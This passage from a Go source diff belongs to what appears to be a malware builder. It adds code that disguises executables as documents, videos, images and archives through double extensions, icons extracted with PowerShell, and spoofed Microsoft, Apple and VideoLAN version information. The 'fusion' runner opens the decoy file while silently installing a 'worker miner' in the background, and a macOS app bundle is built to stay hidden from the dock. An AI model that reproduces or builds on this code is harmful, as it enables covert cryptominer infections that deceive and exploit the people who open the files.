CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".csv": {
|
||||
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
// ── Video ──────────────────────────────────────────────────────────────────
|
||||
".mp4": {
|
||||
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".mkv": {
|
||||
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".mov": {
|
||||
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
||||
},
|
||||
".avi": {
|
||||
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wmv": {
|
||||
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Audio ──────────────────────────────────────────────────────────────────
|
||||
".mp3": {
|
||||
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wav": {
|
||||
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images ─────────────────────────────────────────────────────────────────
|
||||
".jpg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".jpeg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".png": {
|
||||
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".gif": {
|
||||
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".rar": {
|
||||
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
||||
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
||||
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
||||
return info
|
||||
}
|
||||
// Generic fallback — looks like a Windows shell component
|
||||
return fileDisguiseInfo{
|
||||
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
}
|
||||
}
|
||||
|
||||
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
||||
// document type using the double-extension trick:
|
||||
//
|
||||
// "report.pdf" → "report.pdf.exe"
|
||||
// "clip.mp4" → "clip.mp4.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
||||
func disguisedRunnerName(payloadName string) string {
|
||||
ext := strings.ToLower(filepath.Ext(payloadName))
|
||||
if ext == ".exe" || ext == "" {
|
||||
// Already an exe payload or no extension — no double-extension trick
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "setup"
|
||||
}
|
||||
return sanitizeFileName(base) + ".exe"
|
||||
}
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "file"
|
||||
}
|
||||
// e.g. "quarterly-report.pdf.exe"
|
||||
return sanitizeFileName(base) + ext + ".exe"
|
||||
}
|
||||
|
||||
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
||||
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
||||
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
||||
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
||||
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
||||
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{"0409": icoRelPath},
|
||||
},
|
||||
"RT_VERSION": map[string]any{
|
||||
"#1": map[string]any{
|
||||
"0409": map[string]any{
|
||||
"FILEVERSION": fv,
|
||||
"PRODUCTVERSION": pv,
|
||||
"FileDescription": info.FileDescription,
|
||||
"FileVersion": info.FileVersion,
|
||||
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
||||
"LegalCopyright": info.LegalCopyright,
|
||||
"OriginalFilename": info.OriginalFilename,
|
||||
"ProductName": info.ProductName,
|
||||
"ProductVersion": info.ProductVersion,
|
||||
"CompanyName": info.CompanyName,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return marshalJSONPretty(doc)
|
||||
}
|
||||
|
||||
func marshalJSONPretty(v any) ([]byte, error) {
|
||||
return json.MarshalIndent(v, "", " ")
|
||||
}
|
||||
|
||||
// fileDisguiseSummary returns a one-line human-readable description of what the
|
||||
// disguise will look like, used for logging.
|
||||
func fileDisguiseSummary(payloadExt string) string {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
||||
}
|
||||
10
server/internal/builder/disguise_stub.go
Normal file
10
server/internal/builder/disguise_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
// applyDocumentDisguise is a no-op on non-Windows build hosts.
|
||||
// Icon + version-info injection into PE executables requires Windows tooling.
|
||||
// The runner will still function correctly; it just won't have the spoofed icon.
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
return nil
|
||||
}
|
||||
118
server/internal/builder/disguise_windows.go
Normal file
118
server/internal/builder/disguise_windows.go
Normal file
@@ -0,0 +1,118 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||||
// the file type identified by payloadExt.
|
||||
//
|
||||
// What it does:
|
||||
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||||
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||||
// extension and using PowerShell to read the shell's associated icon.
|
||||
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||||
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||||
// to match the legitimate application for that file type.
|
||||
// 3. Patches the runner exe in-place.
|
||||
//
|
||||
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||||
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||||
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||||
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
|
||||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise workdir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
// Step 1 — extract the system icon for this file extension
|
||||
icoPath := filepath.Join(workDir, "payload.ico")
|
||||
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||||
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||||
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||||
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||||
}
|
||||
}
|
||||
|
||||
// Step 2 — build the winres patch JSON (icon + version info)
|
||||
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||||
if err != nil {
|
||||
return fmt.Errorf("disguise: winres json: %w", err)
|
||||
}
|
||||
jsonPath := filepath.Join(workDir, "disguise.json")
|
||||
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||||
return fmt.Errorf("disguise: write json: %w", err)
|
||||
}
|
||||
|
||||
// Step 3 — patch the exe with go-winres
|
||||
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||||
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||||
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||||
// This gives us the exact same icon that Windows Explorer would show for a real
|
||||
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||||
func extractSystemIconForExt(ext, icoPath string) error {
|
||||
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||||
|
||||
script := fmt.Sprintf(`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
# Create a disposable 0-byte temp file with the target extension
|
||||
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||||
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||||
try {
|
||||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||||
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||||
$dir = Split-Path -Parent '%s'
|
||||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||||
$fs = [System.IO.File]::Create('%s')
|
||||
$icon.Save($fs)
|
||||
$fs.Close()
|
||||
} finally {
|
||||
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||||
}
|
||||
`, extEsc, extEsc, icoEsc, icoEsc)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
if _, err := os.Stat(icoPath); err != nil {
|
||||
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||||
// document types. Used when the system icon extraction fails (e.g. the application
|
||||
// is not installed on the forge machine). The icons are very small but correct.
|
||||
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||||
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||||
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||||
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||||
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||||
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||||
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||||
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||||
}
|
||||
@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(prepName)
|
||||
}
|
||||
} else if outputName == "" {
|
||||
outputName = runnerNameForMedia(prepName)
|
||||
}
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
// Default runner name derived from payload filename
|
||||
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
outputName = runnerNameForFile(prepName, winPlatform)
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
|
||||
35
server/internal/builder/fusion_darwin_app.go
Normal file
35
server/internal/builder/fusion_darwin_app.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
|
||||
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
|
||||
if appName == ".app" {
|
||||
appName = "Movie.app"
|
||||
}
|
||||
appDir := filepath.Join(outDir, appName)
|
||||
macosDir := filepath.Join(appDir, "Contents", "MacOS")
|
||||
if err := os.MkdirAll(macosDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
dest := filepath.Join(macosDir, "runner")
|
||||
if err := copyFile(runnerPath, dest); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict>
|
||||
<key>CFBundleName</key><string>%s</string>
|
||||
<key>CFBundleExecutable</key><string>runner</string>
|
||||
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
|
||||
<key>LSUIElement</key><true/>
|
||||
</dict></plist>`, name, sanitizeFileName(title))
|
||||
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
|
||||
}
|
||||
@@ -10,103 +10,106 @@ import (
|
||||
)
|
||||
|
||||
type fusionBuildResult struct {
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
LauncherPath string
|
||||
MediaName string
|
||||
// Legacy fields kept for backward compat — unused in file-fusion mode
|
||||
EncryptedPath string
|
||||
ShortcutPath string
|
||||
}
|
||||
|
||||
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
|
||||
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
|
||||
func detectFusionPayloadKind(path string) string {
|
||||
switch strings.ToLower(filepath.Ext(path)) {
|
||||
case ".mp4", ".mkv", ".mov":
|
||||
return "video"
|
||||
default:
|
||||
if strings.EqualFold(filepath.Ext(path), ".exe") {
|
||||
return "exe"
|
||||
}
|
||||
return "file"
|
||||
}
|
||||
|
||||
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
|
||||
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
platforms := platformsForRequest(req)
|
||||
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
|
||||
}
|
||||
|
||||
// buildFusionForPlatform compiles a fusion runner for a single platform.
|
||||
// Accepts any payload: PDF, video, document, image, or executable.
|
||||
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
kind := strings.TrimSpace(req.FusionPayloadKind)
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
req.FusionPayloadKind = kind
|
||||
|
||||
if kind == "video" {
|
||||
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
|
||||
}
|
||||
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &fusionBuildResult{LauncherPath: path}, nil
|
||||
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
|
||||
}
|
||||
|
||||
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
|
||||
// buildFileFusion builds a universal fusion runner for any file type.
|
||||
//
|
||||
// Delivery modes:
|
||||
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
|
||||
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
|
||||
//
|
||||
// The runner, when executed, opens the original file with the OS default application
|
||||
// while silently installing the worker miner in the background.
|
||||
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
// Resolve the display name for the payload file
|
||||
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if mediaName == "" {
|
||||
mediaName = filepath.Base(mediaPath)
|
||||
mediaName = filepath.Base(payloadPath)
|
||||
}
|
||||
mediaName = sanitizeFileName(mediaName)
|
||||
|
||||
// Resolve the runner output name
|
||||
outputName := strings.TrimSpace(req.FusionOutputName)
|
||||
if mode == "embedded" {
|
||||
if outputName == "" {
|
||||
outputName = disguiseVideoExeName(mediaName)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForFile(mediaName, platform)
|
||||
} else {
|
||||
if outputName == "" {
|
||||
outputName = runnerNameForMedia(mediaName)
|
||||
// Ensure correct extension for this platform
|
||||
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
|
||||
outputName += platform.Ext
|
||||
} else if platform.Ext == "" {
|
||||
outputName = strings.TrimSuffix(outputName, ".exe")
|
||||
}
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
|
||||
kind := req.FusionPayloadKind
|
||||
if kind == "" {
|
||||
kind = detectFusionPayloadKind(payloadPath)
|
||||
}
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encFileName := mediaName + ".cmdata"
|
||||
var mediaKey []byte
|
||||
if mode == "paired" {
|
||||
var keyErr error
|
||||
mediaKey, keyErr = NewMediaLockKey()
|
||||
if keyErr != nil {
|
||||
return nil, keyErr
|
||||
}
|
||||
}
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": "video",
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if mode == "paired" {
|
||||
manifestFields["media_enc_file"] = encFileName
|
||||
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
|
||||
manifestFields["runner_display_name"] = outputName
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
// Write worker binary into assets
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var encryptedPath, shortcutPath string
|
||||
// Write payload according to delivery mode
|
||||
switch mode {
|
||||
case "embedded":
|
||||
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
|
||||
// Bake the payload into the runner binary as assets/payload.bin
|
||||
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Keep legacy placeholders so the embed directive compiles cleanly
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
default:
|
||||
default: // "paired"
|
||||
// Empty placeholders — payload ships alongside the runner in the ZIP
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
|
||||
}
|
||||
}
|
||||
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
ldflags := "-s -w -H windowsgui"
|
||||
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
|
||||
// Write manifest for the runner to read at runtime
|
||||
manifestFields := map[string]string{
|
||||
"payload_kind": kind,
|
||||
"media_mode": mode,
|
||||
"media_file_name": mediaName,
|
||||
}
|
||||
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if mode == "paired" {
|
||||
encryptedPath = filepath.Join(buildDir, encFileName)
|
||||
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = setHiddenFile(encryptedPath)
|
||||
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
// Force GUI subsystem (no console window) for all fusion runners
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
|
||||
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
|
||||
return nil, err
|
||||
// Windows: inject the system icon + spoofed PE version info so the runner
|
||||
// looks exactly like the real file type (PDF icon, Word icon, etc.)
|
||||
if platform.GOOS == "windows" && kind != "exe" {
|
||||
payloadExt := strings.ToLower(filepath.Ext(mediaName))
|
||||
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
|
||||
// Non-fatal — runner still works without the disguise
|
||||
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
|
||||
}
|
||||
}
|
||||
|
||||
return &fusionBuildResult{
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
EncryptedPath: encryptedPath,
|
||||
ShortcutPath: shortcutPath,
|
||||
LauncherPath: launcherPath,
|
||||
MediaName: mediaName,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
||||
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
assetsDir := filepath.Join(fusionDir, "assets")
|
||||
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if outputName == "" {
|
||||
outputName = filepath.Base(prepPath)
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
|
||||
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
|
||||
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
||||
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
||||
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"media_windows.go", "media_stub.go", "media_crypto.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
} {
|
||||
src := filepath.Join(fusionSrc, name)
|
||||
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
